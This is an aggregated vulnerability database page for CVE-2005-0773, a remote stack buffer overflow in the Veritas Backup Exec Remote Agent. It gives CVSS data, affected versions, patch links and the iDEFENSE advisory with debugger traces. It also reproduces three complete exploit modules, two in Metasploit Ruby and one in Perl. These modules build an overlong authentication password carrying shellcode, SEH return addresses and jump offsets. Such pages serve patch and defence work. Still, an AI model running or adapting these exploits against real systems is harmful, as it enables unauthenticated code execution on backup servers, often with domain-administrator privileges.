CVE-2005-0773
CVSS7.5
发布时间 :2005-06-18 00:00:00
修订时间 :2011-03-07 21:20:34
NMCOEPS    

[原文]Stack-based buffer overflow in VERITAS Backup Exec Remote Agent 9.0 through 10.0 for Windows, and 9.0.4019 through 9.1.307 for Netware allows remote attackers to execute arbitrary code via a CONNECT_CLIENT_AUTH request with authentication method type 3 (Windows credentials) and a long password argument.


[CNNVD]Veritas Backup Exec Remote Agent for Windows CONNECT_CLIENT_AUTH远程缓冲区溢出漏(CNNVD-200506-181)

        Veritas Backup Exec Remote Agent是一款支持网络数据管理协议(NDMP)的数据备份和恢复解决方案。
        Veritas Backup Exec Remote Agent在处理用户认证请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
        当客户端发送一个类型3的认证请求,而且带有一个超长的Password字段时会触发缓冲区溢出漏洞,导致执行任意指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:symantec_veritas:backup_exec:9.1.1151.1
cpe:/a:symantec_veritas:backup_exec:9.1.1127.1
cpe:/a:symantec_veritas:backup_exec:9.0.4172
cpe:/a:symantec_veritas:backup_exec:9.0.4202
cpe:/a:symantec_veritas:backup_exec:9.1.1154
cpe:/a:symantec_veritas:backup_exec:9.1.1152
cpe:/a:symantec_veritas:backup_exec:9.0.4019
cpe:/a:symantec_veritas:backup_exec:9.0_rev.4454
cpe:/a:symantec_veritas:backup_exec:9.1.1152.4
cpe:/a:symantec_veritas:backup_exec:9.0.4174
cpe:/a:symantec_veritas:backup_exec:10.0_rev.5484
cpe:/a:symantec_veritas:backup_exec:9.1_rev.4691_sp2
cpe:/a:symantec_veritas:backup_exec:9.0_rev.4367
cpe:/a:symantec_veritas:backup_exec:9.0.4170
cpe:/a:symantec_veritas:backup_exec:9.0_rev.4454_sp1
cpe:/a:symantec_veritas:backup_exec:9.1_rev.4691
cpe:/a:symantec_veritas:backup_exec:9.1.307
cpe:/a:symantec_veritas:backup_exec:9.0_rev.4367_sp1
cpe:/a:symantec_veritas:backup_exec:9.1.1067.2
cpe:/a:symantec_veritas:backup_exec:9.1.1067.3
cpe:/a:symantec_veritas:backup_exec:9.1.306
cpe:/a:symantec_veritas:backup_exec:10.0_rev.5484_sp1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0773
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0773
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200506-181
(官方数据源) CNNVD

- 其它链接及资源

http://www.us-cert.gov/cas/techalerts/TA05-180A.html
(VENDOR_ADVISORY)  CERT  TA05-180A
http://www.kb.cert.org/vuls/id/492105
(VENDOR_ADVISORY)  CERT-VN  VU#492105
http://www.securityfocus.com/bid/14022
(PATCH)  BID  14022
http://seer.support.veritas.com/docs/277429.htm
(PATCH)  CONFIRM  http://seer.support.veritas.com/docs/277429.htm
http://seer.support.veritas.com/docs/276604.htm
(VENDOR_ADVISORY)  CONFIRM  http://seer.support.veritas.com/docs/276604.htm
http://securitytracker.com/id?1014273
(PATCH)  SECTRACK  1014273
http://secunia.com/advisories/15789
(VENDOR_ADVISORY)  SECUNIA  15789
http://www.osvdb.org/17624
(UNKNOWN)  OSVDB  17624
http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities&flashstatus=true
(VENDOR_ADVISORY)  IDEFENSE  20050623 Veritas Backup Exec Agent CONNECT_CLIENT_AUTH Buffer Overflow Vulnerability

- 漏洞信息

Veritas Backup Exec Remote Agent for Windows CONNECT_CLIENT_AUTH远程缓冲区溢出漏
高危 缓冲区溢出
2005-06-18 00:00:00 2006-03-27 00:00:00
远程  
        Veritas Backup Exec Remote Agent是一款支持网络数据管理协议(NDMP)的数据备份和恢复解决方案。
        Veritas Backup Exec Remote Agent在处理用户认证请求时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
        当客户端发送一个类型3的认证请求,而且带有一个超长的Password字段时会触发缓冲区溢出漏洞,导致执行任意指令。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        Veritas Software Backup Exec for Windows Servers 10.0 rev. 5484 SP1
        Veritas Software be5484RHF24_275514.exe
        http://support.veritas.com/docs/275514
        Veritas Software Backup Exec for Windows Servers 9.0 rev. 4367 SP1
        Veritas Software be4367RHF21_276156.exe
        http://support.veritas.com/docs/276156
        Veritas Software Backup Exec for Windows Servers 9.0 rev. 4454 SP1
        Veritas Software be4454RHF31_275911.exe
        http://support.veritas.com/docs/275911
        Veritas Software Backup Exec for NetWare Servers 9.0.4202
        Veritas Software B904202HF1_277423.EXE
        http://support.veritas.com/docs/277423
        Veritas Software Backup Exec for Windows Servers 9.1 rev. 4691 SP2
        Veritas Software be4691RHF52_275909.exe
        http://support.veritas.com/docs/275909

- 漏洞信息 (16332)

Veritas Backup Exec Windows Remote Agent Overflow (EDBID:16332)
windows remote
2010-07-03 Verified
0 metasploit
N/A [点击下载]
##
# $Id: remote_agent.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::NDMP

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Veritas Backup Exec Windows Remote Agent Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Veritas
				BackupExec Windows Agent software. This vulnerability occurs
				when a client authentication request is received with type
				'3' and a long password argument. Reliable execution is
				obtained by abusing the stack buffer overflow to smash a SEH
				pointer.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2005-0773'],
					[ 'OSVDB', '17624'],
					[ 'BID', '14022'],
					[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
					[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'Veritas BE 9.0/9.1/10.0 (All Windows)',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x0140f8d5, 0x014261b0 ],
						},
					],
					[
						'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x75022ac4, 0x75022ac4 ],
						},
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 22 2005'))

		register_options(
			[
				Opt::RPORT(10000)
			], self.class)
	end

	def check
		info = ndmp_info()
		if (info and info['Version'])
			print_status(" Vendor: #{info['Vendor']}")
			print_status("Product: #{info['Product']}")
			print_status("Version: #{info['Version']}")

			if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
				return Exploit::CheckCode::Detected
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		resp = ndmp_recv()

		username = 'X' * 512
		password = rand_text_alphanumeric(8192)

		# Place our payload early in the request and jump backwards into it
		password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded

		# This offset is required for version 10.0
		password[3536, 2] = "\xeb\x06"
		password[3540, 4] = [ target['Rets'][1] ].pack('V')
		password[3544, 5] = "\xe9" + [-1037].pack('V')

		# This offset is required for version 9.0/9.1
		password[4524, 2] = "\xeb\x06"
		password[4528, 4] = [ target['Rets'][0] ].pack('V')
		password[4532, 5] = "\xe9" + [-2025].pack('V')

		# Create the authentication request
		auth = [
				1,               # Sequence number
				Time.now.to_i,   # Current time
				0,               # Message type (request)
				0x901,           # Message name (connect_client_auth)
				0,               # Reply sequence number
				0,               # Error status
				3                # Authentication type
			].pack('NNNNNNN') +
			[ username.length ].pack('N') + username +
			[ password.length ].pack('N') + password +
			[ 4 ].pack('N')

		print_status("Sending authentication request...")
		ndmp_send(auth)

		handler
		disconnect
	end

end
		

- 漏洞信息 (F82934)

Veritas Backup Exec Windows Remote Agent Overflow (PacketStormID:F82934)
2009-10-30 00:00:00
H D Moore  metasploit.com
exploit,overflow
windows
CVE-2005-0773
[点击下载]

This Metasploit module exploits a stack overflow in the Veritas BackupExec Windows Agent software. This vulnerability occurs when a client authentication request is received with type '3' and a long password argument. Reliable execution is obtained by abusing the stack overflow to smash a SEH pointer.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::NDMP

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Veritas Backup Exec Windows Remote Agent Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Veritas
				BackupExec Windows Agent software. This vulnerability occurs
				when a client authentication request is received with type
				'3' and a long password argument. Reliable execution is
				obtained by abusing the stack overflow to smash a SEH
				pointer.			
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2005-0773'],
					[ 'OSVDB', '17624'],
					[ 'BID', '14022'],
					[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
					[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        => 
				[
					[ 
						'Veritas BE 9.0/9.1/10.0 (All Windows)',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x0140f8d5, 0x014261b0 ],
						},
					],
					[ 
						'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x75022ac4, 0x75022ac4 ],
						},
					],					
				],

			'DefaultTarget' => 0))
			
			register_options(
				[
					Opt::RPORT(10000)
				], self.class)			
	end

	def check
		info = ndmp_info()
		if (info and info['Version'])
			print_status(" Vendor: #{info['Vendor']}")
			print_status("Product: #{info['Product']}")
			print_status("Version: #{info['Version']}")
			
			if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
				return Exploit::CheckCode::Detected
			end
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		
		print_status("Trying target #{target.name}...")
		
		resp = ndmp_recv()
		
		username = 'X' * 512
		password = rand_text_alphanumeric(8192)
		
		# Place our payload early in the request and jump backwards into it
		password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
		
		# This offset is required for version 10.0
		password[3536, 2] = "\xeb\x06"
		password[3540, 4] = [ target['Rets'][1] ].pack('V')
		password[3544, 5] = "\xe9" + [-1037].pack('V')

		# This offset is required for version 9.0/9.1
		password[4524, 2] = "\xeb\x06"
		password[4528, 4] = [ target['Rets'][0] ].pack('V')
		password[4532, 5] = "\xe9" + [-2025].pack('V')		

		# Create the authentication request
		auth = [
				1,               # Sequence number
				Time.now.to_i,   # Current time
				0,               # Message type (request)
				0x901,           # Message name (connect_client_auth)
				0,               # Reply sequence number
				0,               # Error status
				3                # Authentication type
			].pack('NNNNNNN') +
			[ username.length ].pack('N') + username +
			[ password.length ].pack('N') + password +
			[ 4 ].pack('N')

		print_status("Sending authentication request...")
		ndmp_send(auth)
		
		handler
		disconnect
	end

end
    

- 漏洞信息 (F38312)

backupexec_agent.pm.txt (PacketStormID:F38312)
2005-06-29 00:00:00
 
exploit,overflow
CVE-2005-0773
[点击下载]

Veritas Backup Exec Agent CONNECT_CLIENT_AUTH Request exploit that makes use of a stack overflow.

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::backupexec_agent;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
'Version' => '$Revision: 1.7 $',
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 10000],
},

'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Keys' => ['+ws2ord'],
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Veritas BackupExec Windows
Agent software. This vulnerability occurs when a client authentication request
is received with type '3' and a long password argument. Reliable execution is 
obtained by abusing the stack overflow to smash a SEH pointer.
}),

'Refs' =>
[
['CVE', '2005-0773' ],
['URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
['URL', 'http://seer.support.veritas.com/docs/276604.htm' ],
],

'DefaultTarget' => 0,
'Targets' =>
[
['Veritas BE 9.0/9.1/10.0 (All Windows)', 0x0140f8d5, 0x014261b0 ],
['Veritas BE 9.0/9.1/10.0 (Windows 2000)', 0x75022ac4, 0x75022ac4 ],
],

'Keys' => ['veritas'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

# Version 4.2 -> 9.1
# Version 5.1 -> 10.0
sub Check {
my $self = shift;
my ($vend, $prod, $vers) = $self->GetVersion;

if (! $vend) {
$self->PrintLine("[*] Could not determine the version number");
return $self->CheckCode('Unknown');
}

$self->PrintLine("[*] $prod Version $vers ($vend)");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

my $res = $s->Recv(4, 5);
$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);

my $username = "X" x 512;
my $password = Pex::Text::PatternCreate(8192);

# Place our payload early in the request and jump backwards into it
substr($password, 3536-length($shellcode), length($shellcode), $shellcode);

# This offset is required for version 10.0
substr($password, 3536, 2, "\xeb\x06");
substr($password, 3540, 4, pack('V', $target->[2]) );
substr($password, 3544, 5, "\xe9" . pack('V', -1037));

# This offset is required for version 9.0/9.1
substr($password, 4524, 2, "\xeb\x06");
substr($password, 4528, 4, pack('V', $target->[1]) );
substr($password, 4532, 5, "\xe9" . pack('V', -2025));

my $conn_auth =
pack('N', 1). # Sequence number
pack('N', time()). # Current time
pack('N', 0). # Message type (request)
pack('N', 0x901). # Message name (connect_client_auth)
pack('N', 0). # Reply sequence number
pack('N', 0). # Error status
pack('N', 3). # Authentication type
pack('N', length($username)).
$username.
pack('N', length($password)).
$password.
pack('N', 4);

$self->PrintLine( "[*] Sending authentication request of " . length($conn_auth) . " 
bytes..." );
$s->Send(pack('N', 0x80000000 + length($conn_auth)) . $conn_auth);

return;
}

sub GetVersion {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return undef;
}

my $res = $s->Recv(4, 5);
return undef if ! $res;
$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);

my $serv_info =
pack('N', 1). # Sequence number
pack('N', time()). # Current time
pack('N', 0). # Message type (request)
pack('N', 0x108). # Message name (connect_client_auth)
pack('N', 0). # Reply sequence number
pack('N', 0); # Error status

$s->Send(pack('N', 0x80000000 + length($serv_info)) . $serv_info);
$res = $s->Recv(4, 5);
return undef if ! $res;

$res = $s->Recv(unpack('N', $res) - 0x80000000, 5);
$s->Close;

# Skip past the protocols headers
$res = substr($res, 28);

# Vendor
my $vend_len = unpack('N', substr($res, 0, 4));
my $vend = substr($res, 4, $vend_len);
$res = substr($res, 4 + $vend_len + 1);

# Product
my $prod_len = unpack('N', substr($res, 0, 4));
my $prod = substr($res, 4, $prod_len);
$res = substr($res, 4 + $prod_len + 1);

# Version
my $vers_len = unpack('N', substr($res, 0, 4));
my $vers = substr($res, 4, $vers_len);
$res = substr($res, 4 + $vers_len + 1);

return ($vend, $prod, $vers);
}

1;
    

- 漏洞信息 (F38267)

iDEFENSE Security Advisory 2005-06-23.1 (PacketStormID:F38267)
2005-06-24 00:00:00
iDefense Labs  idefense.com
advisory,remote,overflow,arbitrary,protocol
windows
CVE-2005-0773
[点击下载]

iDEFENSE Security Advisory 06.23.05-1 - Exploitation of a buffer overflow vulnerability in Veritas Software Corp.'s Backup Exec allows remote attackers to execute arbitrary code. Veritas Backup Exec uses the standard NMDP protocol to communicate with the listening agents. The NMDP protocol allows multiple authentication types, including support for Windows user credentials. The vulnerability specifically exists because of insufficient input validation on CONNECT_CLIENT_AUTH requests.

Veritas Backup Exec Agent CONNECT_CLIENT_AUTH Buffer Overflow
Vulnerability

iDEFENSE Security Advisory 06.23.05
www.idefense.com/application/poi/display?id=272&type=vulnerabilities
June 23, 2005

I. BACKGROUND

VERITAS Backup Exec is an advanced backup and restore solution for 
Microsoft Windows server environments. More information is available 
from the vendor's website:

   http://veritas.com/Products/www?c=product&refId=57

II. DESCRIPTION

Exploitation of a buffer overflow vulnerability in Veritas Software
Corp.'s Backup Exec allows remote attackers to execute arbitrary code.

The Veritas Backup Exec Agent listens on TCP port 10000 and is
responsible for accepting connections from the backup server when a
backup is to occur. Typically the agent would be installed on most
servers and important workstations in an enterprise environment.

Veritas Backup Exec uses the standard NMDP protocol to communicate with
the listening agents. The NMDP protocol allows multiple authentication
types, including support for Windows user credentials.

The vulnerability specifically exists because of insufficient input
validation on CONNECT_CLIENT_AUTH requests. CONNECT_CLIENT_AUTH requests
sent with an authentication method type "3," indicating Windows user
credentials, and an overly long password argument can overflow the
buffer and lead to arbitrary code execution. The overflow will copy the
user-supplied password to the stack until it attempts to run off the
page of memory. At this point, the SEH frame will be overwritten and the
program will jump to a user-defined location when the page fault occurs.
Debugger output showing control of execution from the SEH frame is
detailed as follows:

(1d8.b1c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=00002001 ebx=0032ad78 ecx=0000037e
edx=00fbedf8 esi=01045928 edi=00fc0000
eip=0141b77f esp=00fbedd8 ebp=0032c040 iopl=0
nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00010206

*** ERROR: Symbol file could not be found.  Defaulted to export symbols
for C:\Program Files\VERITAS\Backup Exec\NT\beclass.dll -
beclass!DeasciifyAndDecrypt+0xaf:

0141b77f f3a5   rep  movsd ds:01045928=39784638 es:00fc0000=????????
0:005> g

(1d8.b1c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=00000000 ebx=00000000 ecx=41424344
edx=7c9037d8 esi=00000000 edi=00000000
eip=41424344 esp=00fbea08 ebp=00fbea28 iopl=0
nv up ei pl zr na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000  efl=00010246
41424344 ??               ???
0:005> kp
ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be
wrong.
00fbea04 7c9037bf 0x41424344
00fbea28 7c90378b ntdll!RtlConvertUlongToLargeInteger+0x7a
00fbead8 7c90eafa ntdll!RtlConvertUlongToLargeInteger+0x46
0032c040 0032b470 ntdll!KiUserExceptionDispatcher+0xe
00000003 00000000 0x32b470

III. ANALYSIS

Exploitation does not require authentication, thereby allowing any
remote attacker to execute arbitrary code under the privileges of the
Backup Exec Agent Browser (benetns.exe) process, which is usually a
domain administrative account. Exploitation can occur fairly reliably
since the overflow is able to control code execution via the structured
exception handler.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in Backup 
Exec for Windows Servers versions 9.1 and 10.0. It is suspected 
that other versions are also vulnerable.

Several vendors ship or use Veritas software including Hitachi and NEC 
Corporation.

V. WORKAROUND

Use a firewall to restrict incoming connections to trusted workstations 
running the Backup Exec client software which uses port 10000 TCP.

VI. VENDOR RESPONSE

The vendor has addressed this vulnerability in security advisory
VX05-002:

   http://seer.support.veritas.com/docs/276604.htm

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-0773 to this issue. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

03/16/2005  Initial vendor notification
03/30/2005  Initial vendor response
06/22/2005  Coordinated public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

Free tools, research and upcoming events
http://labs.idefense.com

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
    

- 漏洞信息

17624
VERITAS Backup Exec Remote Agent for Windows CONNECT_CLIENT_AUTH Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial Vendor Verified

- 漏洞描述

A remote overflow exists in Backup Exec Remote Agent for Windows. The issue occurs when a client authentication request is received with type '3' and a long password argument. Reliable execution is obtained by abusing the stack overflow to smash a SEH pointer resulting in a loss of integrity.

- 时间线

2005-06-22 Unknow
2005-06-22 2005-06-22

- 解决方案

Upgrade to the correct version supplied by the vendow, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Veritas Backup Exec Remote Agent for Windows Servers Authentication Buffer Overflow Vulnerability
Boundary Condition Error 14022
Yes No
2005-06-22 12:00:00 2007-11-01 08:36:00
Discovery is credited to an anonymous source.

- 受影响的程序版本

Veritas Software Backup Exec for Windows Servers 10.0 rev. 5484 SP1
Veritas Software Backup Exec for Windows Servers 10.0 rev. 5484
Veritas Software Backup Exec for Windows Servers 9.1 rev. 4691 SP2
Veritas Software Backup Exec for Windows Servers 9.1 rev. 4691
Veritas Software Backup Exec for Windows Servers 9.0 rev. 4454 SP1
Veritas Software Backup Exec for Windows Servers 9.0 rev. 4454
Veritas Software Backup Exec for Windows Servers 9.0 rev. 4367 SP1
Veritas Software Backup Exec for Windows Servers 9.0 rev. 4367
Veritas Software Backup Exec for NetWare Servers 9.1.1154
Veritas Software Backup Exec for NetWare Servers 9.1.1152 .4
Veritas Software Backup Exec for NetWare Servers 9.1.1152
Veritas Software Backup Exec for NetWare Servers 9.1.1151 .1
Veritas Software Backup Exec for NetWare Servers 9.1.1127 .1
Veritas Software Backup Exec for NetWare Servers 9.1.1067 .3
Veritas Software Backup Exec for NetWare Servers 9.1.1067 .2
Veritas Software Backup Exec for NetWare Servers 9.1.307
Veritas Software Backup Exec for NetWare Servers 9.1.306
Veritas Software Backup Exec for NetWare Servers 9.0.4202
Veritas Software Backup Exec for NetWare Servers 9.0.4174
Veritas Software Backup Exec for NetWare Servers 9.0.4172
Veritas Software Backup Exec for NetWare Servers 9.0.4170
Veritas Software Backup Exec for NetWare Servers 9.0.4019
Veritas Software Backup Exec for Windows Servers 10.0 rev. 5520
Veritas Software Backup Exec for NetWare Servers 9.1.1156

- 不受影响的程序版本

Veritas Software Backup Exec for Windows Servers 10.0 rev. 5520
Veritas Software Backup Exec for NetWare Servers 9.1.1156

- 漏洞讨论

Veritas Backup Exec Remote Agent for Windows Servers is prone to a remotely exploitable buffer-overflow vulnerability. This issue occurs when handling authentication requests.

Successful exploits could allow attackers to execute arbitrary code.

- 漏洞利用

An exploit (backupexec_agent.pm) has been released as part of the Metasploit Framework project.

UPDATE: Core Security Technologies has developed a working commercial exploit for its CORE IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

- 解决方案

Fixes are available. Please see the references for details.


Veritas Software Backup Exec for Windows Servers 10.0 rev. 5484

Veritas Software Backup Exec for Windows Servers 10.0 rev. 5484 SP1

Veritas Software Backup Exec for Windows Servers 9.0 rev. 4367 SP1

Veritas Software Backup Exec for Windows Servers 9.0 rev. 4454 SP1

Veritas Software Backup Exec for NetWare Servers 9.0.4202

Veritas Software Backup Exec for Windows Servers 9.1 rev. 4691 SP2

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站